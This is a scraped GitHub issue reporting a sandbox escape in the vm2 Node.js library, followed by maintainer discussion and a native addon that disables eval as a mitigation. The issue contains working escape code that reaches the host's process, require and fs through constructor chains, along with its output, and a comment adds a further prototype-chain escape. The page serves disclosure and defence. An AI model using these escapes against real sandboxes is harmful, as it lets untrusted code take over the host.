Escaping the vm sandbox

See original GitHub issue

It’s possible to escape the VM and perform very undesirable actions.

Found via the following gist in relation to node’s native VM: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

Take the following 2 code examples:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

and :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

Running either of these outputs the following:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

I’ve validated this behavior on both v4.4.5 and v6.2.1

Issue Analytics

  • State:closed
  • Created 7 years ago
  • Reactions:9
  • Comments:64 (11 by maintainers)

github_iconTop GitHub Comments

7reactions
parasytecommented, Jun 19, 2016

Argh! You’re catching on! 😉 I must apologize for leading you on like this. For any audience out there; the problem with VM scope in node.js is with references to objects in the host scope (from which you can gain a reference to all of host scope via the prototype chain).

Now that you’ve overridden the constructor property, I’ll have to go underneath it:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}
3reactions
parasytecommented, Nov 18, 2016

FWIW, we solved this just by disabling eval … and being very careful about not exposing references into the sandbox.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

This prevents the escape since the return process string is unable to be evaluated. As a consequent, it also disables legitimate eval() and Function Generator Constructor calls. (The utility of these features is rather questionable.)

Read more comments on GitHub >

github_iconTop Results From Across the Web

Sandbox Escapes - Pentesting KB 4 Techno Herder
The process that is being isolated is called the guest. The computer that houses the sandbox (with guest) is called the host. A...
Read more >
Virtual machine escape - Wikipedia
In computer security, virtual machine escape is the process of a program breaking out of the virtual machine on which it is running...
Read more >
Virtual Machine Escape within Sandbox Environment - Reddit
I'm currently running a sandbox environment on my ESXI host, which sits on a physical HP server. I have quite a few VMs...
Read more >
Squirrel Sandbox Escape allows Code Execution in Games ...
We discovered and reported a vulnerability in the Squirrel VM, written in C, that allows an attacker to escape the sandbox.
Read more >
Virtual Machine Escape within Sandbox Environment
I'm currently running a sandbox environment on my ESXI host, which sits on a physical HP server. I have quite a few VMs...
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found